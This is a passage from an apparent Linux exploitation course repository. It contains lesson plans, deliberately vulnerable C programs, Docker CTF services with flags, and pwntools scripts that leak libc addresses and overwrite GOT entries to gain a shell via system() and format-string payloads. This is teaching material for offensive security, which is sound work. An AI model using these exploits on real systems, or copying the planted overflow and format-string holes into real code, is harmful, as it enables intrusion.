/lessons/10_bypass_got/scripts/4_eip_control.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("../build/1_records") 7 | 8 | # Craft first stage (arbitrary read) 9 | leak_address = 0x0804a018 # Address of puts@got 10 | stage_1 = "A"*24 + p32(leak_address) 11 | p.recvrepeat(0.2) 12 | 13 | # Send the first stage 14 | p.send(stage_1) 15 | 16 | # Parse the response 17 | data = p.recvrepeat(0.2) 18 | leak = data[data.find("(")+1:data.rfind(")")] 19 | log.info("Got leaked data: %s" % leak) 20 | puts_addr = u32(leak[:4]) 21 | log.info("puts@libc: 0x%x" % puts_addr) 22 | 23 | # Overwrite puts@got 24 | ret_address =0xdeadc0de 25 | p.send(p32(ret_address)) 26 | 27 | p.interactive() 28 | 29 | if __name__ == "__main__": 30 | main() 31 | 32 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/scripts/5_final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("../build/1_records") 7 | 8 | # Craft first stage (arbitrary read) 9 | leak_address = 0x0804a018 # Address of puts@got 10 | command = "/bin/sh" 11 | stage_1 = command.ljust(24, "\x00") + p32(leak_address) 12 | p.recvrepeat(0.2) 13 | 14 | # Send the first stage 15 | p.send(stage_1) 16 | 17 | # Parse the response 18 | data = p.recvrepeat(0.2) 19 | leak = data[data.find("(")+1:data.rfind(")")] 20 | log.info("Got leaked data: %s" % leak) 21 | puts_addr = u32(leak[:4]) 22 | log.info("puts@libc: 0x%x" % puts_addr) 23 | 24 | # Calculate libc base and system 25 | puts_offset = 0x5fca0 26 | libc_base = puts_addr - puts_offset 27 | log.info("libc base: 0x%x" % libc_base) 28 | system_offset = 0x0003ada0 29 | system_addr = libc_base + system_offset 30 | log.info("system@libc: 0x%x" % system_addr) 31 | 32 | # Overwrite puts@got 33 | ret_address = system_addr 34 | p.send(p32(ret_address)) 35 | 36 | p.interactive() 37 | 38 | if __name__ == "__main__": 39 | main() 40 | 41 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/scripts/6_exercise_sol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | import time 5 | 6 | offset___libc_start_main_ret = 0x18637 7 | offset_system = 0x0003ada0 8 | offset_dup2 = 0x000d6190 9 | offset_read = 0x000d5980 10 | offset_write = 0x000d59f0 11 | offset_str_bin_sh = 0x15b82b 12 | offset_puts = 0x0005fca0 13 | 14 | puts_got = 0x804a020 15 | 16 | def main(): 17 | #p = process("../build/2_event1") 18 | p = remote("localhost", 1902) 19 | 20 | # Read until name prompt 21 | p.recvrepeat(0.2) 22 | 23 | # Send the binsh 24 | p.sendline("/bin/sh") 25 | p.recvrepeat(0.2) 26 | 27 | # Select option 1 28 | p.sendline("1") 29 | p.sendline(hex(puts_got)) 30 | 31 | # Get leak 32 | data = p.recvrepeat(0.2) 33 | puts_addr = 0 34 | for i in data.split("\n"): 35 | if "Contents:" in i: 36 | puts_addr = int(i[i.find("Contents:")+10:], 16) 37 | log.info("puts_addr = 0x%x" % puts_addr) 38 | 39 | # Calculate 40 | libc_base = puts_addr - offset_puts 41 | system_addr = libc_base + offset_system 42 | 43 | #pwn 44 | p.sendline("3") 45 | p.sendline(hex(puts_got)) 46 | p.sendline(hex(system_addr)) 47 | p.recvrepeat(0.2) 48 | 49 | p.interactive() 50 | 51 | if __name__ == "__main__": 52 | main() 53 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/services/event1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=event1 3 | RUN dpkg --add-architecture i386 4 | RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 5 | RUN apt-get update 6 | RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386 7 | RUN useradd -m $user 8 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 9 | COPY ./event1 /home/$user/event1 10 | COPY ./event1service /etc/xinetd.d/event1service 11 | COPY ./flag /home/$user/flag 12 | RUN chown -R root:$user /home/$user 13 | RUN chmod -R 750 /home/$user 14 | RUN chown root:$user /home/$user/flag 15 | RUN chmod 440 /home/$user/flag 16 | EXPOSE 31337 17 | CMD ["/usr/sbin/xinetd", "-d"] 18 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/services/event1/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t event1 . 4 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/services/event1/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1902:31337 event1 4 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/services/event1/event1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/10_bypass_got/services/event1/event1 -------------------------------------------------------------------------------- /lessons/10_bypass_got/services/event1/event1service: -------------------------------------------------------------------------------- 1 | service event1service 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = event1 8 | bind = 0.0.0.0 9 | server = /home/event1/event1 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/services/event1/flag: -------------------------------------------------------------------------------- 1 | flag{g0t_m1lk?} 2 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/src/1_records.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct record { 8 | char name[24]; 9 | char * album; 10 | }; 11 | 12 | int main() { 13 | // Print Title 14 | puts("This is a Jukebox"); 15 | 16 | // Create the struct record 17 | struct record now_playing; 18 | strcpy(now_playing.name, "Simple Minds"); 19 | now_playing.album = (char *) malloc(sizeof(char) * 24); 20 | strcpy(now_playing.album, "Breakfast"); 21 | printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album); 22 | 23 | // Read some user data 24 | read(0, now_playing.name, 28); 25 | printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album); 26 | 27 | // Overwrite the album 28 | read(0, now_playing.album, 4); 29 | printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album); 30 | 31 | // Print the name again 32 | puts(now_playing.name); 33 | } 34 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/src/2_event1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int active = 1; 7 | char name[200]; 8 | char * secret = "The Secret is No Longer Here. Get Shell!"; 9 | 10 | void print_warning() { 11 | puts("======================================================================================="); 12 | puts("This Kaizen-86 Artificial Intelligence would like to remind you that this is not a toy."); 13 | puts("Please treat this terminal with the utmost care."); 14 | puts("Crashing this program will result in ship malfunction."); 15 | puts("You have been warned."); 16 | puts("=======================================================================================\n"); 17 | } 18 | 19 | void print_prompt() { 20 | printf("Options for "); 21 | puts(name); 22 | puts("1. Peek Memory Address"); 23 | puts("2. Change Name"); 24 | puts("3. Overwite Memory Address"); 25 | puts("9. Exit Terminal"); 26 | } 27 | 28 | void peek_prompt() { 29 | int * address; 30 | printf("Address: "); 31 | scanf("%p", &address); 32 | printf("Contents: 0x%x\n", *address); 33 | } 34 | 35 | void change_name() { 36 | char buffer[100]; 37 | printf("Name: "); 38 | read(0, buffer, sizeof(name)); 39 | buffer[strcspn(buffer, "\n")] = 0; 40 | strncpy(name, buffer, sizeof(name)); 41 | } 42 | 43 | void poke_prompt() { 44 | int * address; 45 | int data; 46 | printf("Address: "); 47 | scanf("%p", &address); 48 | printf("Data: "); 49 | scanf("%x", &data); 50 | *address = data; 51 | } 52 | 53 | void print_secret() { 54 | if (getpid() == 0) { 55 | puts("secret"); 56 | } 57 | } 58 | 59 | int main() { 60 | setvbuf(stdin, NULL, _IONBF, 0); 61 | setvbuf(stdout, NULL, _IONBF, 0); 62 | 63 | int option; 64 | print_warning(); 65 | change_name(); 66 | while (active) { 67 | print_prompt(); 68 | printf("Option: "); 69 | scanf("%d", &option); 70 | if (option == 9) { 71 | active = 0; 72 | puts("Goodbye."); 73 | } 74 | else if (option == 1) { 75 | peek_prompt(); 76 | } 77 | else if (option == 2) { 78 | change_name(); 79 | } 80 | else if (option == 3) { 81 | poke_prompt(); 82 | } 83 | else if (option == 4) { 84 | print_secret(); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /lessons/11_memory_leaks/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Memory Leaks 2 | 3 | Heartbleed and SSP Leak 4 | -------------------------------------------------------------------------------- /lessons/12_multi_stage/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_vulnerable 2 | 3 | 1_vulnerable: 4 | gcc -m32 -fno-stack-protector -znoexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c 5 | 6 | 7 | -------------------------------------------------------------------------------- /lessons/12_multi_stage/build/1_vulnerable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/12_multi_stage/build/1_vulnerable -------------------------------------------------------------------------------- /lessons/12_multi_stage/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Multi-Stage Exploits 2 | 3 | In this section, we will look at crafting a more complicated exploit that relies 4 | on multiple stages. Surprisingly, the vulnerable target we are looking at is the 5 | most simple of all the ones we have seen so far. It is precisely the lack of 6 | flexibility we have with such a simple target that forces us to adopt a more 7 | sophiscated exploit strategy. 8 | 9 | ```c 10 | #include 11 | #include 12 | 13 | void vuln() { 14 | char buffer[16]; 15 | read(0, buffer, 100); 16 | write(1, buffer, 16); 17 | } 18 | 19 | int main() { 20 | vuln(); 21 | } 22 | ``` 23 | 24 | It is very simple. It simply echoes your input. It is vulnerable to a standard 25 | buffer overflow but ASLR and NX are enabled which means the only things you have 26 | to work with is `read`, `write`, and the gadgets that are present in the tiny 27 | binary. 28 | 29 | ```shell 30 | amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable 31 | Hello World 32 | Hello World 33 | ``` 34 | 35 | ## Crafting the Exploit Step by Step 36 | 37 | First, as we always do, we need a skeleton script to give us our EIP control. 38 | 39 | ```python 40 | #!/usr/bin/python 41 | 42 | from pwn import * 43 | 44 | def main(): 45 | p = process("../build/1_vulnerable") 46 | 47 | payload = "A"*28 + p32(0xdeadc0de) 48 | 49 | p.send(payload) 50 | 51 | p.interactive() 52 | 53 | if __name__ == "__main__": 54 | main() 55 | ``` 56 | 57 | Next, we would like to try and leak a libc address. We can achieve this by 58 | creating fake stack frames that execute `write(STDOUT, write@got, 4)`. This will 59 | print 4 bytes of the write@got address to stdout which we can receive on our 60 | exploit script. 61 | 62 | 63 | ```python 64 | #!/usr/bin/python 65 | 66 | from pwn import * 67 | 68 | offset___libc_start_main_ret = 0x18637 69 | offset_system = 0x0003ada0 70 | offset_dup2 = 0x000d6190 71 | offset_read = 0x000d5980 72 | offset_write = 0x000d59f0 73 | offset_str_bin_sh = 0x15b82b 74 | 75 | read_plt = 0x08048300 76 | write_plt = 0x08048320 77 | write_got = 0x0804a014 78 | 79 | def main(): 80 | p = process("../build/1_vulnerable") 81 | 82 | # Craft payload 83 | payload = "A"*28 84 | payload += p32(write_plt) 85 | payload += p32(0xdeadbeef) 86 | payload += p32(1) # STDOUT 87 | payload += p32(write_got) 88 | payload += p32(4) 89 | 90 | p.send(payload) 91 | 92 | # Clear the 16 bytes written on vuln end 93 | p.recv(16) 94 | 95 | # Parse the leak 96 | leak = p.recv(4) 97 | write_addr = u32(leak) 98 | log.info("write_addr: 0x%x" % write_addr) 99 | 100 | p.interactive() 101 | 102 | if __name__ == "__main__": 103 | main() 104 | ``` 105 | 106 | This works easily enough to get us that leak. 107 | 108 | ```shell 109 | ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py 110 | [+] Starting local process '../build/1_vulnerable': Done 111 | [*] write_addr: 0xf76569f0 112 | [*] Switching to interactive mode 113 | $ [*] Got EOF while reading in interactive 114 | 115 | [*] Process '../build/1_vulnerable' stopped with exit code -11 116 | [*] Got EOF while sending in interactive 117 | ``` 118 | 119 | ## The Killing Blow 120 | 121 | 122 | Now, remember that what we are doing is creating a rop chain with these PLT 123 | stubs. However, if we just return into functions after functions, it is not 124 | going to work very well since the parameters on the stack are not cleaned up. We 125 | have to handle that somehow. 126 | 127 | This is where the `pop pop ret` gadgets come in. They allow us to advance the 128 | stack and make sure our faked stack frames are coherent. We need a `pop pop pop 129 | ret` sequence because our `write` call had 3 parameters. 130 | 131 | ```shell 132 | ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable 133 | ... snip .. 134 | 0x080484e9: pop esi; pop edi; pop ebp; ret; 135 | ... snip .. 136 | ``` 137 | 138 | What should we do next then? What we want to do is overwrite a GOT entry so that 139 | we can execute system. Now, we can leverage the fact that a `read` call is 140 | basically an arbitrary write primitive. So our entire rop chain sequence would 141 | look something like this: 142 | 143 | 1. `write(1, write@got, 4)` - Leaks the libc address of write 144 | 2. `read(0, write@got, 4)` - Read 4 bytes of input from us into the write GOT 145 | entry. 146 | 3. `system(some_cmd)` - Execute a command of ours and hopefully get shell 147 | 148 | Now, of course we have a possible issue. Since our ROP chain would have to 149 | include the address of the command on the first read, we have two choices: 150 | 151 | 1. Expend another read sequence to write "/bin/sh" somewhere in memory 152 | 2. Use an alternative command (such as ed) 153 | 154 | Option 1 is not feasible as it takes 20 bytes to construct a frame for read. 155 | This is a heavily cost when we only have 72 bytes to play with. So, we have to 156 | go with Option 2 which is easy enough to get. 157 | 158 | ```shell 159 | gdb-peda$ find ed 160 | Searching for 'ed' in: None ranges 161 | Found 393 results, display max 256 items: 162 | 1_vulnerable : 0x8048243 --> 0x72006465 ('ed') 163 | 1_vulnerable : 0x8049243 --> 0x72006465 ('ed') 164 | ``` 165 | 166 | With all of the information in hand, we can write our exploit: 167 | 168 | 169 | ```python 170 | #!/usr/bin/python 171 | 172 | from pwn import * 173 | 174 | offset___libc_start_main_ret = 0x18637 175 | offset_system = 0x0003ada0 176 | offset_dup2 = 0x000d6190 177 | offset_read = 0x000d5980 178 | offset_write = 0x000d59f0 179 | offset_str_bin_sh = 0x15b82b 180 | 181 | read_plt = 0x08048300 182 | write_plt = 0x08048320 183 | write_got = 0x0804a014 184 | new_system_plt = write_plt 185 | 186 | pppr = 0x080484e9 187 | 188 | ed_str = 0x8048243 189 | 190 | def main(): 191 | p = process("../build/1_vulnerable") 192 | 193 | # Craft payload 194 | payload = "A"*28 195 | payload += p32(write_plt) # 1. write(1, write_got, 4) 196 | payload += p32(pppr) 197 | payload += p32(1) # STDOUT 198 | payload += p32(write_got) 199 | payload += p32(4) 200 | payload += p32(read_plt) # 2. read(0, write_got, 4) 201 | payload += p32(pppr) 202 | payload += p32(0) # STDIN 203 | payload += p32(write_got) 204 | payload += p32(4) 205 | payload += p32(new_system_plt) # 3. system("ed") 206 | payload += p32(0xdeadbeef) 207 | payload += p32(ed_str) 208 | 209 | p.send(payload) 210 | 211 | # Clear the 16 bytes written on vuln end 212 | p.recv(16) 213 | 214 | # Parse the leak 215 | leak = p.recv(4) 216 | write_addr = u32(leak) 217 | log.info("write_addr: 0x%x" % write_addr) 218 | 219 | # Calculate the important addresses 220 | libc_base = write_addr - offset_write 221 | log.info("libc_base: 0x%x" % libc_base) 222 | system_addr = libc_base + offset_system 223 | log.info("system_addr: 0x%x" % system_addr) 224 | 225 | # Send the stage 2 226 | p.send(p32(system_addr)) 227 | 228 | p.interactive() 229 | 230 | if __name__ == "__main__": 231 | main() 232 | ``` 233 | 234 | Running the exploit: 235 | 236 | ```shell 237 | ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 3_final.py 238 | [+] Starting local process '../build/1_vulnerable': Done 239 | [*] write_addr: 0xf760c9f0 240 | [*] libc_base: 0xf7537000 241 | [*] system_addr: 0xf7571da0 242 | [*] Switching to interactive mode 243 | $ !sh 244 | $ ls -la 245 | total 20 246 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 . 247 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 19:08 .. 248 | -rw-rw-r-- 1 ubuntu ubuntu 212 Jan 13 18:16 1_skeleton.py 249 | -rw-rw-r-- 1 ubuntu ubuntu 776 Jan 13 18:30 2_leak_system.py 250 | -rw-rw-r-- 1 ubuntu ubuntu 1410 Jan 13 18:50 3_final.py 251 | $ 252 | [*] Stopped program '../build/1_vulnerable' 253 | ``` 254 | -------------------------------------------------------------------------------- /lessons/12_multi_stage/scripts/1_skeleton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("../build/1_vulnerable") 7 | 8 | payload = "A"*28 + p32(0xdeadc0de) 9 | 10 | p.send(payload) 11 | 12 | p.interactive() 13 | 14 | if __name__ == "__main__": 15 | main() 16 | -------------------------------------------------------------------------------- /lessons/12_multi_stage/scripts/2_leak_system.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | offset___libc_start_main_ret = 0x18637 6 | offset_system = 0x0003ada0 7 | offset_dup2 = 0x000d6190 8 | offset_read = 0x000d5980 9 | offset_write = 0x000d59f0 10 | offset_str_bin_sh = 0x15b82b 11 | 12 | read_plt = 0x08048300 13 | write_plt = 0x08048320 14 | write_got = 0x0804a014 15 | 16 | def main(): 17 | p = process("../build/1_vulnerable") 18 | 19 | # Craft payload 20 | payload = "A"*28 21 | payload += p32(write_plt) 22 | payload += p32(0xdeadbeef) 23 | payload += p32(1) # STDOUT 24 | payload += p32(write_got) 25 | payload += p32(4) 26 | 27 | p.send(payload) 28 | 29 | # Clear the 16 bytes written on vuln end 30 | p.recv(16) 31 | 32 | # Parse the leak 33 | leak = p.recv(4) 34 | write_addr = u32(leak) 35 | log.info("write_addr: 0x%x" % write_addr) 36 | 37 | p.interactive() 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /lessons/12_multi_stage/scripts/3_final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | offset___libc_start_main_ret = 0x18637 6 | offset_system = 0x0003ada0 7 | offset_dup2 = 0x000d6190 8 | offset_read = 0x000d5980 9 | offset_write = 0x000d59f0 10 | offset_str_bin_sh = 0x15b82b 11 | 12 | read_plt = 0x08048300 13 | write_plt = 0x08048320 14 | write_got = 0x0804a014 15 | new_system_plt = write_plt 16 | 17 | pppr = 0x080484e9 18 | 19 | ed_str = 0x8048243 20 | 21 | def main(): 22 | p = process("../build/1_vulnerable") 23 | 24 | # Craft payload 25 | payload = "A"*28 26 | payload += p32(write_plt) # 1. write(1, write_got, 4) 27 | payload += p32(pppr) 28 | payload += p32(1) # STDOUT 29 | payload += p32(write_got) 30 | payload += p32(4) 31 | payload += p32(read_plt) # 2. read(0, write_got, 4) 32 | payload += p32(pppr) 33 | payload += p32(0) # STDIN 34 | payload += p32(write_got) 35 | payload += p32(4) 36 | payload += p32(new_system_plt) # 3. system("ed") 37 | payload += p32(0xdeadbeef) 38 | payload += p32(ed_str) 39 | 40 | p.send(payload) 41 | 42 | # Clear the 16 bytes written on vuln end 43 | p.recv(16) 44 | 45 | # Parse the leak 46 | leak = p.recv(4) 47 | write_addr = u32(leak) 48 | log.info("write_addr: 0x%x" % write_addr) 49 | 50 | # Calculate the important addresses 51 | libc_base = write_addr - offset_write 52 | log.info("libc_base: 0x%x" % libc_base) 53 | system_addr = libc_base + offset_system 54 | log.info("system_addr: 0x%x" % system_addr) 55 | 56 | # Send the stage 2 57 | p.send(p32(system_addr)) 58 | 59 | p.interactive() 60 | 61 | if __name__ == "__main__": 62 | main() 63 | -------------------------------------------------------------------------------- /lessons/12_multi_stage/src/1_vulnerable.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void vuln() { 5 | char buffer[16]; 6 | read(0, buffer, 100); 7 | write(1, buffer, 16); 8 | } 9 | 10 | int main() { 11 | vuln(); 12 | } 13 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/Makefile: -------------------------------------------------------------------------------- 1 | all: 2_overwrite 3_echo 2 | 3 | 2_overwrite: 4 | gcc -m32 -o ./build/2_overwrite ./src/2_overwrite.c 5 | 6 | 3_echo: 7 | gcc -m32 -znoexecstack -o ./build/3_echo ./src/3_echo.c 8 | cp ./build/3_echo ./services/echo/echo 9 | 10 | 11 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/build/1_lottery: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/13_fmt_str/build/1_lottery -------------------------------------------------------------------------------- /lessons/13_fmt_str/build/2_overwrite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/13_fmt_str/build/2_overwrite -------------------------------------------------------------------------------- /lessons/13_fmt_str/build/3_echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/13_fmt_str/build/3_echo -------------------------------------------------------------------------------- /lessons/13_fmt_str/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Format String Vulnerabilties 2 | 3 | Yes, I know this is a really cliche topic but I am just covering one cool thing 4 | that you can do with pwntools. That's all, I promise. Now, we will be looking at 5 | this simple program that is vulnerable to a format string attack. The idea is to 6 | modify the token so that it contains 0xcafebabe when the check occurs. 7 | 8 | ```c 9 | #include 10 | #include 11 | 12 | unsigned int token = 0xdeadbeef; 13 | 14 | int main() { 15 | char buffer[200]; 16 | scanf("%199s", buffer); 17 | printf(buffer); 18 | printf("\nToken = 0x%x\n", token); 19 | if (token == 0xcafebabe) { 20 | puts("Winner!"); 21 | } 22 | else { 23 | puts("Loser!"); 24 | } 25 | } 26 | ``` 27 | 28 | So after playing around with the program, we figure out that the first format 29 | argument we control is at offset 5. 30 | 31 | ```shell 32 | ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ ../build/2_overwrite 33 | AAAA%5$x 34 | AAAA41414141 35 | Token = 0xdeadbeef 36 | Loser! 37 | ``` 38 | 39 | Next, we need the address of the token. 40 | 41 | ```shell 42 | ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ nm ../build/2_overwrite | grep token 43 | 0804a028 D token 44 | ``` 45 | 46 | Now we can write our exploit script. Pwntools actually has a format string 47 | attack generator so we can beat the binary in a few quick easy lines. 48 | 49 | ```python 50 | #!/usr/bin/python 51 | 52 | from pwn import * 53 | 54 | token_addr = 0x0804a028 55 | 56 | def main(): 57 | p = process("../build/2_overwrite") 58 | payload = fmtstr_payload(5, {token_addr: 0xcafebabe}) 59 | log.info("Sending payload: %s" % payload) 60 | p.sendline(payload) 61 | 62 | data = p.recvall() 63 | realdata = data[data.find("Token"):] 64 | log.success(realdata) 65 | 66 | if __name__ == "__main__": 67 | main() 68 | ``` 69 | 70 | Running the program. 71 | 72 | ```shell 73 | ubuntu@ubuntu-xenial:/vagrant/lessons/13_fmt_str/scripts$ python 1_overwrite_token.py 74 | [+] Starting local process '../build/2_overwrite': Done 75 | [*] Sending payload: (�)�*�+�%174c%5$hhn%252c%6$hhn%68c%7$hhn%204c%8$hhn 76 | [▁] Receiving all data: 0B 77 | [+] Receiving all data: Done (742B) 78 | [+] Token = 0xcafebabe 79 | Winner! 80 | ``` 81 | 82 | ## Exercises 83 | 84 | ### Ex 13.1: Echoes 85 | 86 | Before you continue onto the more advanced exercises, here's something to 87 | tackle. The source code to this challenge is given: 88 | 89 | ```c 90 | #include 91 | #include 92 | #include 93 | 94 | int main() { 95 | setvbuf(stdin, NULL, _IONBF, 0); 96 | setvbuf(stdout, NULL, _IONBF, 0); 97 | char echoed[1000] = {0}; 98 | char number[200]; 99 | int times; 100 | int i; 101 | while (1) { 102 | read(0, echoed, 999); 103 | puts("How many times do you want it echoed?"); 104 | scanf("%199s", number); 105 | times = atoi(number); 106 | for (i = 0; i < times; i++) { 107 | printf(echoed); 108 | } 109 | } 110 | } 111 | ``` 112 | 113 | The binary to the exercise can be found [here][1]. The remote target is `nc 114 | localhost 1903` and the goal is to get a shell. 115 | 116 | [1]: ./build/3_echo 117 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/scripts/1_overwrite_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | token_addr = 0x0804a028 6 | 7 | def main(): 8 | p = process("../build/2_overwrite") 9 | payload = fmtstr_payload(5, {token_addr: 0xcafebabe}) 10 | log.info("Sending payload: %s" % payload) 11 | p.sendline(payload) 12 | 13 | data = p.recvall() 14 | realdata = data[data.find("Token"):] 15 | log.success(realdata) 16 | 17 | if __name__ == "__main__": 18 | main() 19 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/scripts/2_echo_solution.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | system_offset = 0x42c00 4 | puts_offset = 0x6d210 5 | atoi_got = 0x0804a024 6 | puts_got = 0x0804a014 7 | 8 | def main(): 9 | p = process("../build/3_echo") 10 | 11 | # leak puts addr 12 | payload = p32(puts_got) 13 | payload += "%57$s" 14 | log.info("Sending payload: %s" % payload) 15 | p.sendline(payload) 16 | p.recvrepeat(0.2) 17 | p.sendline("1") 18 | p.recv(4) 19 | leak = p.recv(4) 20 | log.info("leaked puts addr: 0x%s" % leak) 21 | puts_addr = u32(leak) 22 | 23 | # calculate system addr 24 | libc_base = puts_addr - puts_offset 25 | system_addr = libc_base + system_offset 26 | log.info("leaked libc base: 0x%x" % libc_base) 27 | log.info("system addr: 0x%x" % system_addr) 28 | 29 | #gdb.attach(p) 30 | # overwrite atoi_got with system_addr 31 | new_payload = fmtstr_payload(57, {atoi_got: system_addr}) 32 | log.info("Sending payload: %s" % new_payload) 33 | p.sendline(new_payload) 34 | p.recvrepeat(0.2) 35 | p.sendline("1") 36 | 37 | # send /bin/sh as number of times to atoi 38 | p.sendline("nothing") 39 | p.recvrepeat(0.2) 40 | p.sendline("/bin/sh") 41 | p.interactive() 42 | 43 | if __name__ == "__main__": 44 | main() 45 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/services/echo/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | ENV user=echo 3 | RUN dpkg --add-architecture i386 4 | RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list 5 | RUN apt-get update 6 | RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386 7 | RUN useradd -m $user 8 | RUN echo "$user hard nproc 20" >> /etc/security/limits.conf 9 | COPY ./echo /home/$user/echo 10 | COPY ./echoservice /etc/xinetd.d/echoservice 11 | COPY ./flag /home/$user/flag 12 | RUN chown -R root:$user /home/$user 13 | RUN chmod -R 750 /home/$user 14 | RUN chown root:$user /home/$user/flag 15 | RUN chmod 440 /home/$user/flag 16 | EXPOSE 31337 17 | CMD ["/usr/sbin/xinetd", "-d"] 18 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/services/echo/dockerbuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t echoes . 4 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/services/echo/dockerrun.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker run -dt -p 1903:31337 echoes 4 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/services/echo/echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/13_fmt_str/services/echo/echo -------------------------------------------------------------------------------- /lessons/13_fmt_str/services/echo/echoservice: -------------------------------------------------------------------------------- 1 | service echoservice 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = echo 8 | bind = 0.0.0.0 9 | server = /home/echo/echo 10 | type = UNLISTED 11 | port = 31337 12 | } 13 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/services/echo/flag: -------------------------------------------------------------------------------- 1 | flag{h1_1m_p0ppy} 2 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/src/1_lottery.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | int main() { 6 | 7 | } 8 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/src/2_overwrite.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | unsigned int token = 0xdeadbeef; 5 | 6 | int main() { 7 | char buffer[200]; 8 | scanf("%199s", buffer); 9 | printf(buffer); 10 | printf("\nToken = 0x%x\n", token); 11 | if (token == 0xcafebabe) { 12 | puts("Winner!"); 13 | } 14 | else { 15 | puts("Loser!"); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /lessons/13_fmt_str/src/3_echo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | setvbuf(stdin, NULL, _IONBF, 0); 7 | setvbuf(stdout, NULL, _IONBF, 0); 8 | char echoed[1000] = {0}; 9 | char number[200]; 10 | int times; 11 | int i; 12 | while (1) { 13 | read(0, echoed, 999); 14 | puts("How many times do you want it echoed?"); 15 | scanf("%199s", number); 16 | times = atoi(number); 17 | for (i = 